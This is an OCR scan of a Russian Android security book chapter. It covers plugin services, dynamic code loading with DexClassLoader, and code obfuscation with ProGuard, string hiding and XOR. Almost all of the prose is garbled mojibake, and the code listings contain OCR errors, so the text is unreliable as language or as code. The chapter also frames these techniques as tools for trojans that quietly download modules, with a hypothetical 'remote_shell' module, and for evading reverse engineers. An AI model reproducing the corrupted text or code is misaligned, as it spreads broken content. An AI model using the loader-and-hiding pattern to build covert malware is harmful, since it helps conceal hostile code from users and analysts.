YarIHUX HA UHTEHT com.example.action.PLUGIN:

R

PackageManager packageManager = getPackageManager () ;
Intent intent = new Intent ("com.example.action.PLUGIN");
List<ResolveInfo> list = packageManager.querylntentServices (intent, 0);

Yrto6rl ¢ minaruHamu Obulo ynoOHee pabotaTh, cozmaaumM HashMap u nmomectum B Hero
MMeHa NMPUJIOKEHUH-TUIarMHOB B Ka4eCTBE KJIIOUYEH, a IMEHa X CEPBUCOB — B KayeCTBE
3HAYEHHUH:

Java

HashMap<String, String> plugins = new HashMap<>();
if (list.size() > 0) {
for (Resolvelnfo info : list) {
ServiceInfo serviceInfo = info.servicelnfo;
plugins.put (serviceInfo.applicationInfo.packageName, servicelInfo.name);

3anyck @yHKUWiA nnaruHa

Teneps, koraa y Hac ecTb rOTOBbIH MJIaruH, a MPUJIOKEHHE YMEET €ro HaXOJUThb, Mbl MO-
JKEM BbI3BaTh €ro (GpyHKUMH. [ 3TOro Mbl JOJKHBI MOJKIIOYUTECS K CEPBUCY TUIaruHa
C MOMOILBIO bindService, nepenaB eMy o0paboTUMk MOAKIIOYEHHS, KOTOpbIH OyaeT Bbi-
3BaH, KOrjJa coeJUHEHHe ¢ cepBHUCOM OyaeT ycTaHOBIeHO. B koae Bce ato Oyner BbIris-
JeTh MPUMEPHO TaK:

IPlugin plugin;

// OnpenendeMm Haw "0OpaGoTumMK" MOIOKIIOUEHMUS
class MyServiceConnection implements ServiceConnection {
// Komnbsk, KOTOpewt OyOeT BeI3BaH NPY [OOKIJIOYEHUUM K CEpPBUCY
public void onServiceConnected (ComponentName className, IBinder boundService ) {
// TlonyyaeMm OOBEKT IJIA B3aUMOIEMCTEUA C CEPBUCOM
plugin = IPlugin.Stub.asInterface (boundService);
// TpoGyeM BbI3BaTL METON run() U JOTMPYEM €r0 BHBOL B KOHCOJb (3TO HOJIKHA OHITh
crpoka "pluginl done")
try |
String result = plugin.run(2);
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Log.d (TAG, "result: " + result);
} catch (RemoteException e) {}

// Komnbak, KOTOPEDI OyIeT BhI3BaH [pM MOTEpe CBA3M C CEPBUCOM
public void onServiceDisconnected (ComponentName className) {
plugin = null;
Log.d(TAG, "onServiceDisconnected" );

// Cospmaem Intent nms BeI3OBA CEPBMUCA, ONPENEJIEHHOTO B MNPUJIOAEHMM com.example.pluginl
ComponentName name = new ComponentName ("com.example.pluginl",

plugins.get ("com.example.pluginl”));

Intent i = new Intent();

i.setComponent (name) ;

// TonxiouaeMcCs K CepBUCY, 3allyCckas ero B Cllydae HeOoBXOIMMOCTMU
MyServiceConnection myServiceConnection = new MyServiceConnection() ;
bindService (i, myServiceConnection, Context.BIND AUTO CREATE);

// OTkouaeMcs OT cepBuca
unbindService (myServiceConnection) ;

JaHHblit KO NpH Beeil CBOei pOMO3AKOCTH AeNaeT OYeHb MPOCTYIO Belllb — MOAKIIOYa-
eTcs K CepBHCY, pealu30BaHHOMY B MPHJIOKEHHH com.example.pluginl (3TO Hall IUIaruH,
HaNoOMHIO) U BbI3bIBAa€T (PYHKLHIO run(), KOTOPYIO Mbl paHee ONMpedeTwId B IUIaruHe U
uHTepderice IPlugin.aidl. CaMo coboii, naHHBIH nMpumep OyaeT paboTaTh TONBKO B OT-
HOLIEHWH OJHOTO TUIarhHa, UMs KOTOPOro 3apaHee W3BECTHO. B peasbHOM MpHIIOKEeHUH
Heobxoaumo Oyaet nubo nmpoxoauTs nmo BceMmy hashmap plugins U mocnenoBaTeNnbHO 3a-
MycKaTh KaXIbli MiaruH, JMOo peanusoBaTh rpaduueckuit MHTepdeiic, KOTopblit Oyner
JUHAMHUYeCKH CO3[aBaTh M BBIBOAMTH HAa 3KpaH CIMCOK IUIarMHOB Ha ocHoBe hashmap
Y TI03BOJIMT TOJIb30BATENIO 3aMyCKaTh KaXIbIi U3 HUX M0 OTAEIBLHOCTH. MOXHO MCIOJb-
30BaTh hashmap plugins s co3gaHus kHomok uHTepdeiica, MpU HaXKaTHH Ha KOTOpbIE
OyaeT 3anmycKaThCs TOT MIIM HHOM TJIaruH.

B 06UleM, BAapHAHTOB Macca, riaBHO€ — 3allOMHHTB, YTO MNEPENA 3allyCKOM HOBOrIO IlJ1a-
rMHa He0OXOAMMO OTKJIIOYAThCH OT NpeabIaAyLIETO. Bce octanbHoe Android caenaet cam:
MNMpH NOAK/IFOYEHHUH K IJIaruHy 3aIryCTHT CEPBHUC, MNEPEAACT €MY YINpaBJICHHUE, a 3aTEM 3a-
BEPLUIHUT CEPBHUC INPH OTKIKOYECHHH. Hukakoro nuilHero OBE€pX€aa Ha CUCTEMY, HUKAKHX
YpE3MEPHBIX pPacxodoB OnepaTHBHOﬁ NaMATH, OaXe€E 3a INMOBEACHHUEM IJIarMHOB CJIEAHUTD
HE€ Haao: B cjiy4ya€ €CJIU OOHH HJIH HECKOJIbKO U3 HHUX HAYHYT Ipy3UTb CUCTEMY HJIU BbI-
XKUPATh ONEPATUBKY — CHUCTEMA HUX npl/IGLCT.



238 YACTb /Il Inasa 15

U ewe onHa BaxkHas netans. Bei3oB QyHKLMHA niarMHa NMpOMCXOOUT CHHXPOHHO, T. €.
B HallleM CJTy4ae MpH BIMOJIHEHHH plugin. run (2) MpUJIOKEHHE OydeT 3aMOPOXKEHO Ha JBe
cekyHabl. [To-xopoweMy, B JaHHOM cily4ae HEOOXOIWMO BBIMOMHATH 3amyck QYHKLHH
B OTJEJIbHOM IOTOKE, a 3aT€M OTIPAaBJIATh Pe3yJIbTaT UCTIONIHEHUS B OCHOBHOMH MOTOK.

AuHamuuyeckas 3arpyska koaa

B kiaccuyeckoM Java ecThb kjlacc Mo Ha3BaHHEM java.lang.ClassLoader. Ero 3amaya —
3arpy>kath 6aHT-KOI yka3aHHOro knacca (¢ain c paclIMpeHHeM .class) B BUPTYaJIbHYIO
MalIHHY BO BPEMS HUCIIOJIHEHHUS NMPUIOKEHHS. 3aTeM MOXKHO co3/1aTh 0OBEKT 3TOro Kiac-
ca M BbI3bIBaTh €r0 METO/bI C MOMOLIBIO pediekcHH. ITO cnocobd AMHAMHYECKO# 3arpy3-
KM Koja.

B Android Her BHpTyansHOH MaliMHbI Java U HeT kjacca ClassLoader, HO €CThb €r0 aHa-
JIor — DexClassLoader, BBIMIOJIHAIOLIHI POBHO Ty e (PyHKLHIO, HO B OTHOLUEHHH OalT-
kona DEX (u ¢daiinoB .dex BMECTO .class COOTBETCTBEHHO). B OT/IHYME OT «HACTONBHO-
ro» Java, roe npoile NoJoXXUTh HYXHBIH jar-aiin B CLASSPATH U HE BO3UTBCS C JUHAMH-
yeckoii 3arpy3koi, B Android Takol nmoaxox JaeT AEHCTBUTENILHO MHOTO NMPEUMYILECTB,
rJIaBHOE U3 KOTOPBIX COCTOUT B TOM, YTO (YHKLHOHAJIBHOCTh MPHUJIOKEHHS MOXCHO pac-
LUIMPATh U OOHOBJIATH HE3aMETHO IS TMOJb30BaTelil, HH O YEM €ro He CrpalldBas.
B nro60# MOMEHT Ballle MPHIOKEHHE MOXET ckayaTh (aii ¢ KaccoM ¢ cepBepa, 3arpy-
3UTh, a 3aTEM YIAJIUTh (aiin.

Krnaccel MoxxHO XpaHuThb npsMo B nakete APK u 3arpysatb Bo BpeMs cTapTa NnpHioxe-
HHs. Beirona 3ech B TOM, YTO KOJ 3arpy>kaeMbIX K1accoB OyIeT OTAeNeH OT KoJa caMo-
ro npunoxeHus U Haxoautbes B APK «He mo agpecy»; uHcTpyMeHThl Bpoae apktool,
KOTOPBIMH TaK JIFOOSAT NMoJIb30BaThCA peBepcepbl, X Npocto He yBuaar. C apyro# cropo-
HbI, 3TO CKOpe€ 3alllMTa OT AypaKa, T. K. HOpMaJbHbIH peBepc-HHKEHEp OBICTPO CMEKHET,
4TO K YeMy.

Kak 651 Tam HH ObL110, AMHAMHUeckas 3arpy3ka KJ1acCOB — OY€Hb IOJIe3Has IUTyKa NpH
HalMCcaHUH He cOBceM «OeNbix» TNMpPUIIOXKEHHH, NMo3ToMy JI000# security-crieLHanucT
JOJIKEH 3HaTh, KaK 3TOT MEXaHHW3M paboTaeT U kKak OH HCIONb3YeTCs B TPOSHAX.

TTpocTeiiwuia npumep

Yro6bl Bce HanMcaHHOe Aanee ObLIO Mpolle MOHATh, cpasy NpHBedy NpuMep pabouero
3arpy34MKa KJ1accoB:

// TNyTs 10 jar-apxyMBa C HaumM KIaccom

String modFile = "/sdcard/myapp/module.jar";

// TlyTb 0O NPUMBATHOTI'O KATAJIOTa NPUIOXEHUA

String appDir = context.getApplicationInfo ().dataDir;

// Tlomrpyxaem ¢ann c mMCKa
DexClassLoader classLoader = new DexClassLoader (modFile, appDir, null,
getClass () .getClassLoader()) ;
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// 3arpyxaeMm KJacc, Co3maeM OOBEKT M NpoByeM BeI3BAThL METON run() C NoMoubio peduexcym
try {

Class ¢ = classLoader.loadClass ("com.example.modules.simple.Module") ;

Method m = c.getMethod ("run", null);

m.invoke (c.newlInstance (), null);
} catch (Exception e) {

e.printStackTrace () ;

B nenoM 3aeck Bce MpocTo, KOA 3arpyXaeT jar-apxXMB /sdcard/myapp/module.jar € HYX-
HBIM KJIaCCOM, 3arpy>kaeT H3 HEro KjacC com.example.modules.simple.Module, CO30a€T
00BEKT H BBI3LIBAET METOA run(). OGpa’rm‘e BHHUMAHHE HAa YETBIPE MOMEHTA:

O DexClassLoader YMEET 3arpyatb Kak «mpocTo ¢aiinsl .dex», Tak M jar-apXwBsl, IO-
ClIe[IHHE MpEeTIoUTHTENbHEE H3-3a CXKATHA W BO3MOXKHOCTH HCIOJb30BaTh LIMGPOBYIO
TIOAATHCB;

0O BTOpO# apryMeHT KOHCTPYKTOpa DexClassLoader — 3TO KaTaJIoOr, KOTOPbIH OH HCMOJIb-
3yeT [UIS COXpaHEHHS ONTHMH3HPOBaHHOrO 6aiiT-kona (odex), Ans MPOCTOTHI MBI yKa-
3bIBa€M MPUBATHBIH KaTaJor CaMoro NpHIOKeHHS;

0 B KauecTBe ApryMeHTa ME€To/a loadClass BCEraa HCOGXO)IHMO YKa3bIBaTh aApeC Kaacca
BMECTE C HMCHEM I1aKETa,

O B coBpeMeHHbIX BepcHax Android npsMo#t nocTyn k kapTe NaMATH 3aKpbIT.
Yro6bl NpOBEPUTH NaHHBIH KO Ha paboTOCNOCOOHOCTD, CO3Aa UM MPOCTEHILHH MOy JIb:

package com.example.modules.simple.Module;

import android.util.Log;

public class Module {
public void run() {
Log.d("Module”, "I am alive!!!");

He Toponuteck co3naBate HOBbIH npoekT B Android Studio, MOXXKHO HakHAaTh 3TOT KOA
npsamo B «biokHOTe» u coGpaTh ero B jar-apxuB W3 KOMaHIHOMH CTPOKH:

$ javac -classpath /nyTk/mo/SDK/platforms/android-33/android.jar Module.java
$ /nyts/mo/SDK/build-tools/31.0.0/d8 Module.class
$ jar cf module.jar classes.dex

VY nocroBepbTech, UTO KaTaJOTH platforms/android-33 u build-tools/31.0.0 CYHIECTBYIOT,
B BallleM CJy4ae HX HMEHa MOTYT OTJIHYaThCA.

Ecnu Bce HpOﬁJIET rjiagko, Ha BbIXO04€ MbI IOJIYYHM q)aﬁﬂ module. jar. OcTtaHeTcs TONBKO
JIOGaBPITI: KOJ 3arpy34yvka B MPHJIOXECHHE, IIOJIOKHTh module.jar Ha KapTy INaMSATH,
COGp&TL H 3aITyCTHUTD IIPHJIOKEHHE.
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Honov pegnekcuro

Pednekcus — xopoluas wWITyKa, HO B JAHHOM Cllyyae OHa Tosbko MewaeT. OauH MeTon
6e3 apryMeHTOB C €€ MOMOLUbIO BbI3BaTb HETPYAHO, OJHAKO, €CIIH Mbl XOTHM, 4YTOOBI
Halle MpHJIokeHHe UMeno pa3BUTbIH APl Moaynel ¢ MHOXECTBOM METOAOB, MPHHH-
MaIOLLMX HECKOJIbKO MapaMeTpoB, HYXHO NMpHAyMaTh 4To-To Gonee ynobHoe. Hanpumep,
MCMONIb30BaTh 3apaHee onpeaesieHHbIH HHTepdeHc, KoTopbli OyneT peanu3oBbIBaTh Kax-
JbIA MOZyJib.

[IpumMeHHB TakoH MOAX0J K OMHCAHHOMY BbILIE MPUMEPY, Mbl MOJYUYHM CIEIYIOLLHE TPH
(aiina:

1. ®aiin ModuleInterface.java ¢ onucaHueM API:

[ java

package com.example.modules;

public interface Modulelnterface f{
public void run();

2. @aiin Module. java C peajiuzallieii HaLero MOy ns:

(java, i , J

package com.example.modules.simple.Module;

import android.util.Log;
public class Module implements Modulelnterface {

public void run() {
Log.d("Module", "I am alive!!!");

3. Hogblii 3arpy3unk Moayns (MOMECTHTE B CBOE NMPHIIOKEHHE):

L java

String modFile = "/sdcard/myapp/module.jar";
String appDir = context.getApplicationInfo().dataDir;

DexClassLoader classLoader = new DexClassLoader (modFile, appDir, null,
getClass () .getClassLoader()) ;

// 3arpyxaem KjJacc u cos3laeM ODLEKT C mHTepdeircom ModuleInterface
ModulelInterface module;
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try |
Class<?> class = classLoader.loadClass ("com.example.modules.simple.Module") ;
module = (ModuleInterface) class.newInstance();

} catch (Exception e) {
e.printStackTrace() ;

module.run ()

Tenepp Mbl MOXKeM paboTaTh ¢ MoayJieM kak ¢ 0ObIYHBIM 00BbekTOM. bonee Toro, cucre-
Ma caMa OTOpakyeT MoAyJiH (KJlacchl), HECOBMECTHMBIE ¢ MHTepdeiicoM, elle Ha 3Tare
3arpy3kH, IO3TOMY HaM He MpHUAETCS 3a]aBaThCsl BOMPOCOM: a €CTh JIM B MOJ1yJIE€ HYXHbIH
HaM MeTon?

Koraa moayneis mHoro

C oaHuM MoaynieM Mbl pa3obpaiuch, HO 4TO AenaTh, ecid ux Oyaer MHoro? Kak BectH
YUeT 3THX MOAyJIeH U He noTepATbes cpear HUX? Ha caMoM nene Bce mpocTo, uis 9TOro
MOXHO Ucnonb3oBaTk hashmap. Ewe pa3 uaMeHum 3arpy3uuk:

String modDir = "/sdcard/myapp/";
String appDir = context.getApplicationInfo().dataDir;

File[] files = new File(modDir) .listFiles();

-Map<String, ModuleInterface> modules = new HashMap<>();

// 3arpyxaeM Bce jar-¢aiiel U3 ykasaHHOTO KaTajora, CO3IaeM IS KaXOOrO M3 HUX ODBEKT
U noMellaeM B X3umar modules
for (File file : files) {
DexClassLoader classLoader = new DexClassLoader (file, appDir, null,
getClass () .getClassLoader() ) ;

try {
Class<?> class = classLoader.loadClass ("com.example.modules." +
file.getName () .replace(".jar", "") + ".Module");
module = (ModuleInterface) class.newInstance();
ModuleInterface obj = (ModuleInterface) loadedClass.newlInstance();
modules.put (file.getName () .replace (".jar", ""), obj);

} catch (Exception e) {
e.printStackTrace() ;

JlaHHbI# KO 3arpyxaeT Bce jar-¢ainbl U3 YKa3aHHOrO KaTayora, 3arpy’kaeT MX KJacchl
Module, CO3/Ia€T HAa MX OCHOBE OOBEKTHI M MoMellaeT UX B hashmap modules. OOparurte
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BHMMaHHE Ha TPIOK, MCTOJNIBb30BaHHbIH NMpH 3arpy3ke Kjacca M pa3MeLleHHH 0o0bekTa
B hashmap. OH Hy>eH U1 MpPOCTOThI: BMECTO TOrO, YTOOBI BBIACHATH MPHHALIEAKHOCTD
Ka)XA0ro MoayJjs/kjacca nakeTy, Mbl MPOCTO YCIOBHIHCh, YTO MMs jar-daiina Monyns
OyleT COOTHOCHTbCS C HMEHEM TMaKkeTa MO TaKOH CXeMe: com.example.modules.
VMA_JAR OAJTIA, TAK YTO MBI Cpa3y 3HaeM MOJHBIH aapec Kacca KaKAoro MoayJis.

Hanpumep, npuBeneHHbli paHee MOAyNb MPUHAUIEKHT MAaKETy com.example.modules.
simple (CM. OMpekTHBY package), mo3ToMy ero HeoOXOOHWMO BKJIOYHTb B jar-apXuB
simple.jar (MEHfEM --output=module.jar Ha --output=simple.jar B koMaHzae cbopku). Ko-
riaa npuaeT BpeMs cO3[aTh HOBBIH MOAdYJb, K NMPUMEpPY remote shell, MNEPBOH CTPOUKOM
B €ro MCXOJAHHMKAX Mbl YKAXEM: package com.example.modules.remote shell.Module; H 3a-
naKyeM CKOMITHIMPOBaHHbIM 6aiT-KOA B jar-apxuB remote _shell.jar. UM4 jar-cpaiina (6e3
pacLIMpeHHs) UCTIONb3yeTCs TaKxke B kauecTBe kitoua B hashmap, nostoMy, 3Has uMs
MOZYJsl, BCErJa MOXHO 3aMyCTHTh €r0 METO/bI:

R RN ey e = T

ModuleInterface module = modules.get ("vma momyna");
module.run();

Bepem moaynu c coboii

Ha naHHOM 3Tamne y Hac yxe ecTb NpHIIOKEHHE, CIOCOOHOE 3arpyaTb HeOrpaHHYEHHOE
KOJIHYECTBO MOAYJIei M3 yKa3aHHOro Karajora u ¢ ynobctBoM paborate ¢ HUMH. OcTa-
Joch pa3obpaTbcs C TeM, KaK pacnpoCTpaHATh 3TH Moayiau. CaMelif O4eBHIOHbIH BapH-
aHT — 3TO 3arpyxarb MX ¢ cepBepa. [lycTh Hall TPosH Jenaer 3To pa3 B A€Hb, a Mociie
CKauYMBaHHA MOAYJeH 3aMycKaeT 3arpy34uK MoayJiei, YToObl MOArPY3UTh UX B MPHIIOKeE-
Hue. Paccka3biBaTh, kak 3TO caenath, 1 He Oyady, 34ech BCe BJIEMEHTapHO, U pelleHHe
9TO# 3agayud Bel HalineTe B 1000 BBOAHO# KHHre NMpo pa3paboTky ansg Android.

Eme onux BAapHAHT — BKJIKOYHUTb MOAYJIH B MAKET C NMPHUIIOKEHHEM. B stom CJly4ya€ Tpo-
AH 6y,ueT HMETb OOCTYIl K He0OXOIUMBIM MOAYJIAM Cpa3sy IocJi€ NneEpBOro 3amnycka, 4ro
3alUTHT €ro OT np06neM C JOCTYIIOM K CE€TH. Korna e cetb NMOABHTCA, OH CMOXET
A0rpy>xartb MOAYJIH C CEPBEpA 110 MEpE HEOOXOAMMOCTH.

Yto6bl BKIIOYHTH MOAYJIH B APK, HX HEOOXOJAMMO NMOMECTHUTb B KaTaJloT assets BHYTpPH
TNMpOEKTa (B HallEeM cCiiy4ya€ B assets/modules), a 3aTE€M pE€aJIM30BaTh pacrnakoOBLIHK MOAY-
Jieit B Hy)KHblﬁ HaM katajor. B kozne ato 6y,ueT BBIMIAAETD IIPUMEPHO TaK:

java

String[] modulelist = context.getAssets().list("modules");
String unpackPath = context.getApplicationInfo().dataDir; ;

File unpackDir = new File (unpackPath);
unpackDir.mkdirs ()

try {
BufferedInputStream bis;
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OutputStream dexWriter;
final int BUF SIZE = 8 * 1024;

for (String moduleFile : moduleList) {

try {
bis = new BufferedInputStream(context.getAssets() .open("modules/" +
moduleFile));

dexWriter = new BufferedOutputStream(new FileOutputStream(unpackPath +
"/" + moduleFile));

byte(] buf = new byte[BUF SIZE];
int len;
while((len = bis.read(buf, 0, BUF_SIZE)) > 0) {

dexWriter.write (buf, 0, len);
}
dexWriter.close();
bis.close():
} catch (Exception e) {
e.printStackTrace() ;

}
} catch (IOException e) ({
e.printStackTrace() ;

Bce ouenn npocTo. KOII HaXOJHUT MOAYJIH BHYTPH MNaKe€Ta H NMOOYECPEOHO KOMHPYET HX
B ﬂpHBaTHI:Iﬁ KaTaJIor NMPHIIOXKEHHA, H3 KOTOpPOro 3aT€éM HX MOXHO 6)’}.16’1' NnoaArpy3HuTb

C NOMOULIBIO 3arpy34yHKa.
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Ckprisaem U 3anNyTbIBaeM KOA

Mb1 yxxe y6eaunuch, HacKOJIbKO MPOCTO NMPOAaHAIH3HPOBATh H B3JIOMaTh MPHIOKEHHE
qns Android. Koa Ha Java unu Kotlin — kak oTkpbiTas kHura. Ero nerko aekoMmuianpo-
BaTh, U3Y4YHTb U BHECTH NMpaBkH. [I03TOMy aBTOpBHI ManBapH 4acTO MPHMEHSAIOT pa3/iny-
Hble MeTO/bl 3anmyThiBaHHA (00¢ycKkalMHu), ynakoBKH M LiHdpoBaHus koaa. B aToii rnase
MBI PaCCMOTPHM HEKOTOpBIE H3 TAKHX METO/OB.

Cpa3y MOSCHIO: HE CTOMT BOCIIPHHHMATh MPUBEIEHHYIO B CTaTbeé HHPOPMALMIO KakK pe-
uenT abcoMOTHOM 3aluThl. Takoro peLenTta HeT, 3alHLIas NPHJIOKEHHE Ha YCTPOHCTBe,
MBI BCEro JHLIb AaeM cebe OTCpPOouKy, 3aTOpMaXKHBas MCClIEOBaHHE, HO HE JEJaeM ero
HEBO3MOXHBIM. Bce 310 — GeckoHeyHas Mrpa B KOLIKH-MBILIKH, KOTAa HCCIeA0BaTellb
B3/IaMbIBAET OYEPEAHYIO 3alUHUTY, a pa3paboTyHk NMpUAYMbIBaeT el 6osee H30LIPEHHYIO
3aMeHy.

Btopo# BakHBIF MOMEHT: s NMPHBEAY HECKOJBKO Pa3THYHbIX TEXHHK 3aLUMTHI, H Y Bac
MOXXET BO3HHKHYTb CO0J1a3H 3aMXHYTh HX BCE B OJMH KJ1acc (WJIM HaTHBHYIO 6HbnHoTE-
Ky), @ MoToM ¢ yao6cTBOM Mg cebs 3amyckaTh OJWH pa3 MpH CTapTe NMpHIOKeHHs. Tak
JenaTh He CTOMT: MEXaHHW3Mbl 3aLUMTHI JOKHBI ObITh pazbpocaHbl MO MPHIOKEHHIO H
CTapTOBaTh B pa3Hble MOMEHTbl BpeMeHH. Tak Bbl CYIUECTBEHHO YCIOXHHMTE >KH3Hb
B3JIOMILUHMKY, KOTOPbIH B MPOTHBHOM cllyyae Mor Obl OMpeAenHTh Ha3Ha4YeHHe Kiac-
ca/6HOIHOTEKH U LIETHKOM 3aMEHHTh €ro Ha OHY OOJNbLIYIO 3aryyLLKY.

O6gyckauus

Jlyyumii cnoco6 3auThl Koaa MPUIOKEHHS OT peBepca — 3T0 06dyckauus, ApyruMu
C/IOBaMH, 3amyThiBaHHe OalT-koAa Tak, YTOObl peBepc-HHXkEHepy ObII0 HEBBIHOCHMO
TPYAHO B HeM pa3obpatbcs. CyliecTBYeT HECKOJIBKO HHCTPYMEHTOB, CIOCOOHBIX 3TO
caenatb. Hanbonee npoctoii, Ho Bce xke 3¢dekTHBHBIH ecTh B cocTtaBe Android Studio.
9710 R8, He Tak AaBHO 3aMEHHBLIHI H3BECTHBIH HHCTPYMEHT MHHUMH3aLWH/06¢yckauuu
ProGuard.

Ins ero akTHBauMu AocTaToyHO n06aBuTh B pasaen android — buildTypes — release
¢aiina build.gradle CTPOKY minifyEnabled true:
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android {

buildTypes {
release {
minifyEnabled true

ITocne 3toro Android Studio HayHer npomyckaTh Bce «penH3Hbie» cOOpkH uepe3
ProGuard. B pe3ynbTare NpHIOKEHHE CTAHET KOMITAKTHEE (32 CHET yJa/IEeHHA HEHCIIONb-
3yeMoro Koja), a Taioke MOJyYHT HEKOTOpbIH ypoBeHb 3alIMThl OT peBepca. «Hekoro-
phiii» B TOM cMbicie, 4To ProGuard 3aMeHHT HMEHa Bcex BHYTPEHHHX KJIaCCOB, METOJIOB
H noned Ha ONHO-NBYXOYKBEHHBIE COYETaHMA. JTO NEHCTBHTENBHO CYLIECTBEHHO 3a-
TPYAHHT NOHHMAaHHE JEKOMITHTHpPOBaHHOTo/AH3acceMOIHpoBaHHOro koaa (puc. 16.1).

Elie Yiew Navigation Help
LI AP R - P

v ¢l overscan-1.2.1.apk T
+ @ Source code @ execH.ru.ovarstan.C0291a X J

» @ android.support package execbit.ru.overscan; P FTSrS MP IR e e el
~ 8 execbit.ru.overscan

» @ latedReceiver app. : |
P ot ApP.
C0292b P app.P
@ 00293c smport android.content.Context;
@ C0294d Bmport android.content.intent;
P4 |
4

C0295¢ Smport androld.support.v7.p013b.C0227i;
Q0296f
@ 02979 /* renamed from: execbit.ru.overscan.a */
» @ C0298h public final class C0291a {
» @ C0299i piivate static Builder f1621a;
» @ MainActivity private static Context f1622b;
» @ MainService private static int f1623c;
b @ Resources
static {
f1623c = 0;

public static vold m1893a() {
f1621a.setOngoing(true);

public static vold m1894a(Context context, String str, String str2, String str3) {
f1622b = context;
Buiider contentText = new Builder(f1622b).setContentTitle(str).setContentText(str2);
f1621a = contentText;
contentText.setSmalilcon(2130837583);
intent intent = new intent(f1622b, MainService.class);
intent.putExtra(“extra®, str3);
f1621a.setC getSarvice{f1622b, 0, intent, 134217728));
¥

public static vold m1895a(String str, Qass dis, String str2) {

062200

&

Puc. 16.1. Tax urnsagsaT knacce 8 gexkomnunarope JADX nocne npumeHeHna ProGuard

Cob6cTsenHuriA cnosape

Ilo ymonuanmo ProGuard/R8 mepeHMeHOBBIBAaeT KJIacChl, METOObI H MONSA, MCNONB3YA
aHrnuiickui angaBMT: mepBbiii NEepeHMMEHOBBIBAETCA B «a», BTOpoi B «b», ABaauars
censMoif — B «aa» M T. 1. IlpoGnemMa Takoro momxoza B TOM, YTO OH NpeacKalyeM;
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B3JIOMILHKY NpHIETCA pa3oOpaThcs B BallleM KOJE TOJNBKO OJHH pa3, H OH JIErKO HaHzaeT
HY>XHBIH y4acTOK KOJa B Jpyroi BEPCHH NPHIOXKEHHA: €ro MMs, CKopee Bcero, Oymer
TaKHM JXKe.

31y npobnemMy MOXHO Mo6OpOTh, HCMIONB3Ys pa3Hble cioBapd. B MHTepHeTe naxe Mox-
HO HalTH clOBapb, coaepiKallMi 3anpeLleHHble 118 HCronb3oBaHus B Windows HMeHa
¢aiinoB  (https://github.com/facebook/proguard/blob/master/examples/dictionaries/
windows.txt), 4TO JOMXKHO MOMeLIAaTh pacnakoBKe HCMoHseMoro ¢aiina B Windows, Ho
Ha Jieie TMOYTH HH4ero He naeT. [IpuMeHss pa3Hble CIOBapH K KaXIOH HOBOH BEpCHH
NPHIIOXKEHHS, MOXKHO CHIENIaTh MOPAJOK reHEPHPOBAHHS HMEH HETpeICKa3yeMbIM H 3aIly-
TaTh B3JIOMLIHKA.

3arpy3uTh TakoH CJIOBaphb MOXXHO C IOMOILBIO CIEAYIOIUHX HHCTPYKUHMiA B daiine
proguard-rules.pro BHYTPH IIPOCKTa:

-obfuscationdictionary method-dictionary.txt

-packageobfuscationdictionary package-dictionary.txt

-classobfuscationdictionary class-dictionary.txt

Takxe MOXHO MOPEKOMEHA0BATDH HCII0JIb30BaTh CJICAYIOIYIO OILHIO:

-repackageclasses 'o'

OHa NMEPEMECTHT BCE KJIACChI B MMAKET «O», YTO B TEOPHH OOJKHO €LUE CHIIBHEE 3anyTaTh
B3JIOMIIIHKA.

CKpbITUE CTpOK

B nonosuHe ciy4yaeB B3OMIUMK HaYHHAET peBEpPC MPHIOXKEHHS C MOUCKa CTPoK. B Buze
CTPOK B MPHJIOXKEHHH MOTYT OBITh COXpaHEHBI KJIIOUH LHGpoBaHHUi, KitouH API, cTpoku
HHTepdeiica, KoTopsle MOryT O6JIEryHTh JanbHekee H3ydeHHe koa. [103ToMy ckpeiTHe
CTPOK — OJJHa M3 MEpPBOOYEPENHBIX 3aAay AJs Mo60ro, KTO XO4eT 3aLMTHTh CBOE INpH-
JIOXKEHHE.

CoxpaHaem cTpoku B strings.xml

310, HaBEpPHOE, NPOCTEHILNH METOA CKpPBITHA cTpoK. CMBICT METOAa B TOM, YTOOBI BMe-
CTO pa3MeLIEHHs CTPOKH BHYTPH KOHCTaHTHI B KOJE, YTO MpPHUBEIET K ee 0OHapyKeHUIO
rocJie MpocTeHlIero no1ucka no 6uHapHoMy (aiiny, pa3MecTHTDb ee B (aiine res/values/

strings.xml:

<resources>

<string name="password">MyPassword</string>

</resources>
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A 3 KkoJa oGpama’rbcu Yyepes getResources () :

String password = context.getResources().getString(R.string.password) ;

lIa, MHOIH€ HHCTPYMEHTbI [Ji1 peEeBEpCa npuno;xeﬂnii NMO3BOJIAKOT IIPOCMATPHBATh
COOEPXKHUMOE strings.xml, TIO3TOMY HMS CTPOKH (password) JIydilu€ HU3MEHHTb Ha 4YTO-TO
66306HIIHOC, a CaM napoJjib cae€naThb IOX0XXHUM Ha JHArHOCTHYECKOE cooblieHHe (‘ITO-TO
Bpode€: Error 8932777), J1a ellle U UCMOJIb30BaTh TOJBKO YacCTh 3TOM CTPOKH, paBGHB €€ Ha
Y4YacCTH C MOMOLLbKO METOAA split ():

String[] string = context.getResources().getString(R.string.password).split (" ");
String password = strings(1];

EcTtecTBeHHO, mepeMeHHBIM TOXKe Jydlle AaTh Oe300MOHble WMEHa, HY HWJIH MPOCTO
BKIIOYHTH ProGuard, KOTOpbIi COKpaTHT UX MMEHa 0 OJHO-ABYXOYKBEHHBIX COYETaHHUH
THNa: a, b, c,ab u T. 1.

Pasbusaem cTpoku Ha 4acTu

Bbl MOXeTe HCIMoJIb30BaThb HE TOJILKO YacCTH CTpPOK, HO H ﬂpOGHTb HX, yTOOBI 3aTeM
COGpaTb BO€IHHO. ﬂOﬂyCTHM, Bbl XOTHTE CKPBITh B KOJE€ CTPOKY MyLittlePony. CosceM He
00s3aTeNbHO XPaHHTL €€ B OJHOM-eIUHCTBEHHOMN nepemeHHoifl, paaGeﬁTe €€ Ha HECKOJIb-
KO CTPOK H pacxuuaﬁTe HX 110 pa3HbIM METOAAM HJIH JAXK€ KJIaCCaM:

String a = "MyLi";
String b = "ttle";
String ¢ = "Pony";

String password = a + b + c;

Ho 31ech ecTh onacHocTh CTOJIKHYTbCH C ONTHMH3ALIHEN KOMITHJIATOPA, KOTOpbll‘;l cobe-
PET CTPOKY BOEAHHO AJIA YJIYYILUEHHA MPOH3BOAHTEINBHOCTH. HOSTOMy JHUPEKTHBBI static
H final K 3THM MEPEMEHHBIM J1y4Ylll€ HE IPUMEHATD.

Koaupyem nomowsto XOR

ns ewe Gonbluero 3amyTeIBaHUA HccienoBareseil cTpokd MokHO XOR-ute. 310 M3-
no0neHHbIA MeTO HauYHHAKOIKX (M He Tonbko) BUpyconucartened. CyTb MeTona: 6epem
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CTPOKY, FeHEpHpYeM ellle OfHY CTPOKY (Kioy), mpeobpazyem B MaccHB OaiToOB U mpuMe-
